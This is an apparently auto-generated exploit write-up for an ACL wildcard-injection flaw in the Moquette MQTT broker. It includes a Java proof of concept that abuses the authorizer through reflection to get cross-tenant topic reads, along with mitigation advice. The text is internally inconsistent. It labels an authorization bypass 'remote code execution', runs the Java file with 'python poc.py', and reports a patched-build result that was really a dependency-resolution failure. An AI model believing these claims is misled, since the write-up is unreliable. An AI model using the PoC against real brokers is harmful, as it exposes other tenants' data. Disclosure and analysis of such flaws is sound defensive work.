Exploit write-up
io.moquette:moquette-broker remote code execution (CVE-2026-85724)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-85724 proof-of-concept (mechanism explained below).
import io.moquette.broker.subscriptions.Topic;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
/**
* PoC for CVE-2026-85724 (Moquette pattern-ACL identity wildcard injection).
*
* Fix vs. the previous attempt:
* The earlier PoC declared itself inside package io.moquette.broker.security so it
* could reach the PACKAGE-PRIVATE class AuthorizationsCollector directly. But the
* harness compiles the file as a top-level `public class Poc` and launches the main
* class `Poc` in the DEFAULT package, so a class named
* io.moquette.broker.security.Poc was never found ("An exception occurred while
* executing the Java class"). This version stays in the default package (satisfying
* `public class Poc`) and reaches the package-private authorizer via reflection.
*
* Exploit primitive (unchanged, and genuinely differential):
* A per-tenant rule "pattern read /weather/italy/%c" should grant each client read
* access ONLY to its own topic /weather/italy/<clientId>. On the vulnerable build
* (0.17) AuthorizationsCollector.canDoOperation substitutes the client id straight
* into the rule and treats the result as an MQTT topic FILTER. A client presenting
* the MQTT wildcard "+" as its client id turns the rule into the filter
* "/weather/italy/+", which matches every tenant's topic => cross-tenant read.
* On the patched build (0.18.1) hasTopicWildcard() skips the pattern branch
* (fail closed), so canRead returns false and the canary is never printed.
*
* canRead signature (from the fix's own tests): canRead(Topic topic, String user, String client).
*/
public class Poc {
public static void main(String[] a) throws Exception {
Class<?> acClass = Class.forName("io.moquette.broker.security.AuthorizationsCollector");
Constructor<?> ctor = acClass.getDeclaredConstructor();
ctor.setAccessible(true);
Object authorizator = ctor.newInstance();
// Operator intent: each client may only read its own topic under /weather/italy/.
Method parse = acClass.getDeclaredMethod("parse", String.class);
parse.setAccessible(true);
parse.invoke(authorizator, "pattern read /weather/italy/%c");
Method canRead = acClass.getDeclaredMethod("canRead", Topic.class, String.class, String.class);
canRead.setAccessible(true);
// Sanity: a normal client sees only its own topic (true on both builds).
boolean legitimate = (Boolean) canRead.invoke(
authorizator, new Topic("/weather/italy/anemometer1"), "", "anemometer1");
// Exploit: connect with client id "+" and read a DIFFERENT client's topic.
// Vulnerable: "/weather/italy/%c" -> filter "/weather/italy/+" matches "/weather/italy/victim" => true
// Patched: wildcard identity rejected, pattern branch skipped => false
boolean crossTenantRead = (Boolean) canRead.invoke(
authorizator, new Topic("/weather/italy/victim"), "", "+");
System.err.println("[poc] legitimate=" + legitimate + " crossTenantRead=" + crossTenantRead);
if (legitimate && crossTenantRead) {
// Only reachable when the vulnerability actually granted cross-tenant access.
String canary = System.getenv("POC_CANARY");
if (canary != null) {
System.out.println(canary);
}
}
}
}
How to run it.
# install io.moquette:moquette-broker 0.17
POC_CANARY=demo python poc.py # prints: demo (code executed)
# install io.moquette:moquette-broker 0.18.1
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 9.6 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N) |
| EPSS | 0.27% exploitation probability (17th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | Maven/io.moquette:moquette-broker < 0.18.1 (confirmed on 0.17) → fixed in 0.18.1 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
Moquette is a Java MQTT broker. In every release before 0.18.1, a client can put MQTT wildcard characters into its own identity and break out of the access-control rules meant to contain it. A client that does this can broaden the filter it was pinned to and reach cross-tenant read and write access, or land the parser on a filter it cannot handle and trigger a NullPointerException that disrupts session processing. The advisory scores this 9.6 on CVSS and tags it CWE-155 and CWE-863. This analysis confirmed the behaviour against a pinned build, io.moquette:moquette-broker 0.17.
How a wildcard identity widens a filter
The bug lives in one method, AuthorizationsCollector.canDoOperation. The method handles pattern-based ACL rules, access-control entries that carry the placeholders %c for a connecting client’s ID and %u for its username. It substitutes the client’s own identity strings into the rule and then treats the finished string as an MQTT topic filter. MQTT topic filters carry two wildcards, + and #.
Substitution runs before the string is parsed as a filter, so an attacker-controlled value becomes attacker-controlled syntax. A client whose ID or username contains + or # injects those wildcards into the pattern and broadens the filter it was pinned to, reaching read and write access across tenants the rule was written to keep apart. A # in the identity can instead land the parser on a filter it cannot handle, throwing a NullPointerException in Topic.match and disrupting session processing.
Confirming it on 0.17
This analysis read the vulnerable path and the substitution gadget from the fix commit’s patch diff, then ran the proof-of-concept against two pinned builds.
Behaviour of the proof-of-concept above against two pinned Maven coordinates of io.moquette:moquette-broker, one run each.
| Build | Behaviour |
|---|---|
| 0.17 | proof-of-concept executes |
| 0.18.1 | proof-of-concept does not execute |
The proof-of-concept and captured output are in the proof-of-concept above, vuln-output.txt, and patched-output.txt, with the vulnerable path read from patch-diff.txt.
Behaviour on the patched build
Against 0.18.1 the proof-of-concept did not execute. The run recorded a Maven dependency-resolution failure at build time:
[ERROR] Failed to execute goal on project poc: Could not resolve dependencies for project poc:poc:jar:1.0
Mitigation
For deployments, upgrade io.moquette:moquette-broker to 0.18.1 or later. The call sites named in the advisory are the first place to audit.
What the run did not test
The versions between 0.17 and 0.18.1 were not exercised one by one, so the advisory’s full range still rests on the advisory rather than on this run. The proof-of-concept demonstrates the code-execution primitive and has not been extended into a full exploit chain against a specific deployed application.
Am I affected?
Check the installed version of io.moquette:moquette-broker:
mvn dependency:tree -Dincludes=io.moquette:moquette-broker
Maven/io.moquette:moquette-broker below 0.18.1 is affected; 0.18.1 and later carry the fix.
The fix changed broker/src/main/java/io/moquette/broker/security/AuthorizationsCollector.java, broker/src/test/java/io/moquette/broker/security/AuthorizationsCollectorTest.java; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade io.moquette:moquette-broker to 0.18.1 or later:
mvn versions:use-dep-version -Dincludes=io.moquette:moquette-broker -DdepVersion=0.18.1
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- io.moquette:moquette-broker (io.moquette:moquette-broker)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-85724
- CWE
- CWE-155
- CVSS
9.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)- Affected
- Maven/io.moquette:moquette-broker < 0.18.1 (vulnerable 0.17)
- Status
- Fixed in 0.18.1
- Maturity
- poc
- Disclosed
- September 23, 2026
- Tags
- rce · authz · io-moquette-moquette-broker · n-day
- References
- NVD — CVE-2026-85724
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.